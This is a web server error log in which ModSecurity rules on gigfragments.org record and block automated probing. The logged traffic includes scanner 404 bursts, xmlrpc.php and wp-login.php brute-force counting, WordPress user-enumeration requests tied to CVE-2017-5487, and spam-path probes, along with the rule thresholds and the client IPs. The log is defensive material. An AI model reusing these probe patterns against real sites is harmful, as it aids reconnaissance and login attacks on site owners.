[Wed Mar 25 01:20:03.052314 2026] [:error] [pid 57711:tid 58064] [client 20.151.251.35:45410] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "acLHw6LdPFdeRRktTdNaJAAAAIs"]
[Wed Mar 25 01:20:03.879114 2026] [:error] [pid 57702:tid 57905] [client 20.151.251.35:45379] [client 20.151.251.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "acLHw6S8TU_xcQFvlnYFwAAAAAI"]
[Wed Mar 25 02:03:41.829436 2026] [:error] [pid 20371:tid 20373] [client 65.109.66.33:43186] [client 65.109.66.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.66.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLR_eb25OL4yTv2fF-c-gAAAQA"]
[Wed Mar 25 02:03:43.588286 2026] [:error] [pid 20371:tid 20389] [client 65.109.66.33:43186] [client 65.109.66.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.66.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLR_-b25OL4yTv2fF-c_QAAARA"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 02:34:53.070450 2026] [:error] [pid 57703:tid 58022] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZTfIVQxDtjkklWGZrTgAAAEM"]
[Wed Mar 25 02:34:54.279393 2026] [:error] [pid 57703:tid 58041] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.100.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZTvIVQxDtjkklWGZrUAAAAFY"]
[Wed Mar 25 02:34:58.011157 2026] [:error] [pid 57703:tid 58033] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "acLZUvIVQxDtjkklWGZrWwAAAE4"]
[Wed Mar 25 02:34:59.646663 2026] [:error] [pid 57703:tid 58020] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZU_IVQxDtjkklWGZrXQAAAEE"]
[Wed Mar 25 02:34:59.648300 2026] [:error] [pid 57703:tid 58020] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZU_IVQxDtjkklWGZrXQAAAEE"]
[Wed Mar 25 02:34:59.649825 2026] [:error] [pid 57703:tid 58020] [client 54.36.100.31:56592] [client 54.36.100.31] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZU_IVQxDtjkklWGZrXQAAAEE"]
[Wed Mar 25 02:35:01.743131 2026] [:error] [pid 20371:tid 20389] [client 54.36.100.31:61553] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZVeb25OL4yTv2fF-w8AAAARA"]
[Wed Mar 25 02:35:01.745504 2026] [:error] [pid 20371:tid 20389] [client 54.36.100.31:61553] [client 54.36.100.31] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZVeb25OL4yTv2fF-w8AAAARA"]
[Wed Mar 25 02:35:01.747584 2026] [:error] [pid 20371:tid 20389] [client 54.36.100.31:61553] [client 54.36.100.31] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZVeb25OL4yTv2fF-w8AAAARA"]
[Wed Mar 25 02:35:03.964284 2026] [:error] [pid 20371:tid 20391] [client 54.36.100.31:62488] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZV-b25OL4yTv2fF-w_gAAARI"]
[Wed Mar 25 02:35:06.152598 2026] [:error] [pid 20371:tid 20384] [client 54.36.100.31:63271] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZWub25OL4yTv2fF-xCAAAAQs"]
[Wed Mar 25 02:35:08.248754 2026] [:error] [pid 57711:tid 58072] [client 54.36.100.31:64152] [client 54.36.100.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZXKLdPFdeRRktTdNvOAAAAJI"]
[Wed Mar 25 02:35:08.248912 2026] [:error] [pid 57711:tid 58072] [client 54.36.100.31:64152] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLZXKLdPFdeRRktTdNvOAAAAJI"]
[Wed Mar 25 02:35:09.224546 2026] [:error] [pid 57711:tid 58064] [client 54.36.100.31:64619] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZXaLdPFdeRRktTdNvOQAAAIs"], referer: https://gigfragments.org//wp-login.php
[Wed Mar 25 02:35:10.210859 2026] [:error] [pid 20371:tid 20385] [client 54.36.100.31:65069] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZXub25OL4yTv2fF-xEAAAAQw"], referer: https://gigfragments.org//wp-login.php
[Wed Mar 25 02:35:11.198682 2026] [:error] [pid 57711:tid 58066] [client 54.36.100.31:49189] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZX6LdPFdeRRktTdNvOgAAAIw"], referer: https://gigfragments.org//wp-login.php
[Wed Mar 25 02:35:12.174473 2026] [:error] [pid 57711:tid 58060] [client 54.36.100.31:49722] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZYKLdPFdeRRktTdNvPgAAAIg"], referer: https://gigfragments.org//wp-login.php
[Wed Mar 25 02:35:13.150006 2026] [:error] [pid 58154:tid 58159] [client 54.36.100.31:50098] [client 54.36.100.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 54.36.100.31, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acLZYQ0pGUh6bwD3ouKz-wAAAMI"], referer: https://gigfragments.org//wp-login.php
[Wed Mar 25 02:56:12.980163 2026] [:error] [pid 57703:tid 58032] [client 113.181.49.66:59656] [client 113.181.49.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.181.49.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLeTPIVQxDtjkklWGZvjQAAAE0"]
[Wed Mar 25 03:04:25.080405 2026] [:error] [pid 58154:tid 58161] [client 45.161.225.164:32414] [client 45.161.225.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acLgOQ0pGUh6bwD3ouLAVwAAAMQ"]
[Wed Mar 25 03:06:12.393537 2026] [:error] [pid 57702:tid 57911] [client 45.161.225.164:31702] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLgpKS8TU_xcQFvlnYnFwAAAAg"]
[Wed Mar 25 03:07:39.563185 2026] [:error] [pid 20371:tid 20376] [client 93.158.213.26:36366] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acLg--b25OL4yTv2fF_DoAAAAQM"]
[Wed Mar 25 03:07:41.581141 2026] [:error] [pid 20371:tid 20380] [client 93.158.213.26:43714] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acLg_eb25OL4yTv2fF_DrAAAAQc"]
[Wed Mar 25 03:07:43.712823 2026] [:error] [pid 20371:tid 20376] [client 93.158.213.26:49954] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acLg_-b25OL4yTv2fF_DuQAAAQM"]
[Wed Mar 25 03:07:45.839270 2026] [:error] [pid 57711:tid 58080] [client 93.158.213.26:49956] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acLhAaLdPFdeRRktTdN2ZAAAAJg"]
[Wed Mar 25 03:07:47.770190 2026] [:error] [pid 57711:tid 58076] [client 93.158.213.26:49958] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acLhA6LdPFdeRRktTdN2aAAAAJY"]
[Wed Mar 25 03:07:49.905590 2026] [:error] [pid 20371:tid 20379] [client 93.158.213.26:49968] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acLhBeb25OL4yTv2fF_DwwAAAQY"]
[Wed Mar 25 03:07:50.789412 2026] [:error] [pid 20371:tid 20387] [client 45.161.225.164:30837] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLhBub25OL4yTv2fF_DxgAAAQ4"]
[Wed Mar 25 03:07:51.951140 2026] [:error] [pid 20371:tid 20378] [client 93.158.213.26:49978] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acLhB-b25OL4yTv2fF_DzwAAAQU"]
[Wed Mar 25 03:07:53.870578 2026] [:error] [pid 57711:tid 58056] [client 93.158.213.26:43968] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acLhCaLdPFdeRRktTdN2cgAAAIU"]
[Wed Mar 25 03:07:55.765366 2026] [:error] [pid 57711:tid 58080] [client 93.158.213.26:43970] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acLhC6LdPFdeRRktTdN2dgAAAJg"]
[Wed Mar 25 03:07:57.634527 2026] [:error] [pid 57711:tid 58069] [client 93.158.213.26:43976] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acLhDaLdPFdeRRktTdN2ewAAAI8"]
[Wed Mar 25 03:07:59.547375 2026] [:error] [pid 57703:tid 58041] [client 93.158.213.26:43980] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acLhD_IVQxDtjkklWGZxQgAAAFY"]
[Wed Mar 25 03:08:01.557354 2026] [:error] [pid 57703:tid 58042] [client 93.158.213.26:43996] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acLhEfIVQxDtjkklWGZxRQAAAFc"]
[Wed Mar 25 03:08:03.738029 2026] [:error] [pid 57711:tid 58080] [client 93.158.213.26:56352] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acLhE6LdPFdeRRktTdN2iAAAAJg"]
[Wed Mar 25 03:08:05.713450 2026] [:error] [pid 57702:tid 57910] [client 93.158.213.26:56366] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acLhFaS8TU_xcQFvlnYntwAAAAc"]
[Wed Mar 25 03:08:07.615584 2026] [:error] [pid 57703:tid 58029] [client 93.158.213.26:56374] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acLhF_IVQxDtjkklWGZxSgAAAEo"]
[Wed Mar 25 03:08:09.580635 2026] [:error] [pid 58154:tid 58157] [client 93.158.213.26:56378] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acLhGQ0pGUh6bwD3ouLBgQAAAMA"]
[Wed Mar 25 03:08:11.569711 2026] [:error] [pid 58154:tid 58163] [client 93.158.213.26:56388] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acLhGw0pGUh6bwD3ouLBhAAAAMY"]
[Wed Mar 25 03:08:13.461683 2026] [:error] [pid 58154:tid 58165] [client 93.158.213.26:45432] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acLhHQ0pGUh6bwD3ouLBiwAAAMg"]
[Wed Mar 25 03:08:15.771064 2026] [:error] [pid 58154:tid 58159] [client 93.158.213.26:45440] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acLhHw0pGUh6bwD3ouLBkAAAAMI"]
[Wed Mar 25 03:08:17.698419 2026] [:error] [pid 20371:tid 20381] [client 93.158.213.26:45446] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acLhIeb25OL4yTv2fF_D9AAAAQg"]
[Wed Mar 25 03:08:19.757087 2026] [:error] [pid 57711:tid 58067] [client 93.158.213.26:45452] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acLhI6LdPFdeRRktTdN2oQAAAI0"]
[Wed Mar 25 03:08:21.736623 2026] [:error] [pid 58154:tid 58174] [client 93.158.213.26:45460] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acLhJQ0pGUh6bwD3ouLBlQAAANE"]
[Wed Mar 25 03:08:23.796393 2026] [:error] [pid 57702:tid 57913] [client 93.158.213.26:52692] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acLhJ6S8TU_xcQFvlnYn3QAAAAo"]
[Wed Mar 25 03:08:25.883470 2026] [:error] [pid 57703:tid 58036] [client 93.158.213.26:52698] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acLhKfIVQxDtjkklWGZxXwAAAFE"]
[Wed Mar 25 03:08:27.825809 2026] [:error] [pid 58154:tid 58172] [client 93.158.213.26:52710] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acLhKw0pGUh6bwD3ouLBmgAAAM8"]
[Wed Mar 25 03:08:29.845294 2026] [:error] [pid 20371:tid 20395] [client 93.158.213.26:52720] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acLhLeb25OL4yTv2fF_EBAAAARY"]
[Wed Mar 25 03:08:31.771356 2026] [:error] [pid 57711:tid 58056] [client 93.158.213.26:52734] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acLhL6LdPFdeRRktTdN2uwAAAIU"]
[Wed Mar 25 03:08:33.673724 2026] [:error] [pid 20371:tid 20387] [client 93.158.213.26:33842] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acLhMeb25OL4yTv2fF_ECQAAAQ4"]
[Wed Mar 25 03:08:35.580313 2026] [:error] [pid 57703:tid 58032] [client 93.158.213.26:33852] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acLhM_IVQxDtjkklWGZxcgAAAE0"]
[Wed Mar 25 03:09:25.902054 2026] [:error] [pid 20371:tid 20390] [client 45.161.225.164:31706] [client 45.161.225.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.225.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acLhZeb25OL4yTv2fF_EpQAAARE"]
